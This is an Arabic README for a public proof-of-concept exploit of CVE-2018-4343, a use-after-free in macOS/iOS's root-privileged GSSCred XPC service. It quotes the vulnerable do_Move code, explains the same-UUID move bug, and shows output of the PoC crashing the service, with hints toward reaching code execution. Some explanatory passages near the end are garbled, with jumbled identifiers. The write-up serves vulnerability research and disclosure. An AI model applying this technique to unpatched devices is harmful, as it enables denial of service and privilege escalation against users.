
CVE-2018-4343: إثبات مفهوم لثغرة الاستخدام بعد التحرير (use-after-free) في البرنامج الخفي GSSCred على macOS و iOS.
خدمة XPC الخاصة بـ com.apple.GSSCred، والتي تعمل بصلاحية الجذر على macOS و iOS، لا تنفّذ أمر "move" بشكل صحيح، مما يؤدي إلى حالة use-after-free في الدالة do_Move. يمكن الوصول إلى خدمة GSSCred من داخل بيئة sandbox الافتراضية للتطبيقات على iOS.
يستغل هذا البرنامج الثغرة من أجل تعطيل خدمة GSSCred (crash). يعتمد تحقيق تنفيذ الأكواد (code execution) في GSSCred على استبدال الذاكرة المحرَّرة ببيانات موجهة (controlled data) خلال نافذة السباق (race window). تم الاختبار على macOS High Sierra 10.13.2 Beta 17C79a.
فيما يلي الأجزاء ذات الصلة من do_Move من Heimdal-520، مع حذف بعض فحوصات الأخطاء غير المهمة:
//
// 1. from and to are fully controlled UUID objects deserialized from the XPC request.
//
CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());
...
//
// 2. credfrom and credto are HeimCredRef objects looked up by the from and to UUIDs.
// CFDictionaryGetValue() returns the objects without adding a reference. Note that if
// the from and to UUIDs are the same, then credfrom and credto will both reference the
// same object.
//
HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);
...
//
// 3. credfrom is removed from the dictionary. Since there was only one reference
// outstanding, this causes credfrom to be freed.
//
CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
CFDictionaryRemoveValue(peer->session->items, from);
credfrom = NULL;
...
//
// 4. At this point we check credto. If credfrom and credto refer to the same object, then
// credto is a non-NULL pointer to the freed HeimCredRef object.
//
if (credto == NULL) {
...
} else {
//
// 5. Now we dereference credto, passing a value read from freed memory as a
// CFDictionaryRef object to CFDictionaryGetValue().
//
CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
...
}
يقوم هذا الكود بما يلي:
from و to، من طلب XPC. الطلب خاضع للتحكم الكامل، لذا يمكننا ضبط قيم هذين المعرّفين بشكل عشوائي. لا يوجد أي تحقق مما إذا كان هذان المعرّفان متطابقين أم لا.credfrom و credto، المطابقين لمعرّفي UUID from و to على التوالي. يخزّن قاموس peer->session->items جميع بيانات الاعتماد (credentials) التي يديرها GSSCred نيابةً عن برنامج العميل المتصل حاليًا. لاحظ أن الدالة CFDictionaryGetValue تُرجع مرجعًا إلى كائنات HeimCredRef، لكنها لا تزيد عدد مراجعها (reference count). على وجه الخصوص، إذا كان from و to هما نفس معرّف UUID، فسيشير كل من credfrom و credto إلى نفس كائن HeimCredRef بعدد مراجع يساوي 1 (محتجز بواسطة قاموس CFDictionary الحاوي).credfrom من قاموس . هذا آمن عادةً، لأنه عندما يكون و معرّفي UUID مختلفين، سيتم تحرير كائن ولن تتم الإشارة إليه مرة أخرى أبدًا. ومع ذلك، عندما يكون و متطابقين، ستظهر مشاكل، لأن تتم الإشارة إليه لاحقًا.لا يحاول هذا البرنامج الفوز بنافذة السباق هذه. بدلاً من ذلك، يترك أداة التدمير (destructor) الخاصة بـ HeimCredRef لتصفير حقل attributes، مما يؤدي إلى حدوث إلغاء إشارة لمؤشر NULL داخل CFDictionaryGetValue.
للبناء، قم بتشغيل make. راجع أعلى ملف Makefile للحصول على خيارات البناء المختلفة.
سيُظهر تشغيل الاستغلال (exploit) تسلسل رسائل XPC المتبادلة مع GSSCred:
$ ./GSSCred-move-uaf
create: <dictionary: 0x7ff359e07740> { count = 1, transaction: 0, voucher = 0x0, contents =
"attributes" => <dictionary: 0x7ff359e06b60> { count = 5, transaction: 0, voucher = 0x0, contents =
"kHEIMObjectType" => <string: 0x7ff359e06a00> { length = 19, contents = "kHEIMObjectKerberos" }
"kHEIMAttrBundleIdentifierACL" => <array: 0x7ff359e06a70> { count = 1, capacity = 1, contents =
0: <string: 0x7ff359e06aa0> { length = 1, contents = "*" }
}
"kHEIMAttrUUID" => <uuid: 0x7ff359e06b20> AB000000-0000-0000-0000-000000000000
"kHEIMAttrStoreTime" => <date: 0x7ff359e06c60> Sat Dec 09 15:09:56 2017 PST (approx)
"kHEIMAttrType" => <string: 0x7ff359e06ce0> { length = 17, contents = "kHEIMTypeKerberos" }
}
}
Event: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
move: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
تشير أحداث XPC الخاصة بـ "Connection interrupted" إلى أن اتصال XPC قد انقطع، غالبًا لأن GSSCred توقف عن العمل.
كود GSSCred-move-uaf مُطلق إلى النطاق العام (public domain). كمجاملة، أطلب منك إذا أشرت إلى أي من هذا الكود أو استخدمته أن تنسبه إليّ.
peer->session->itemsfromtocredfromfromtocredtocredto يساوي NULL. نظرًا لأن credfrom و credto متساويان وأن credfrom لم يكن NULL، ندخل إلى فرع else.credto لقراءة الحقل attributes، والذي يتم تمريره كمعامل أول إلى CFDictionaryGetValue. إذا تمت إعادة تخصيص الذاكرة المحرَّرة التي يشير إليها credto في هذه الأثناء، وتغيّر موقع الحقل attributes ليشير إلى كائن CFDictionary مزيف (fake) مصمم بعناية، فيجب أن يكون من الممكن تحقيق تنفيذ الأكواد من خلال هذه الخطوة.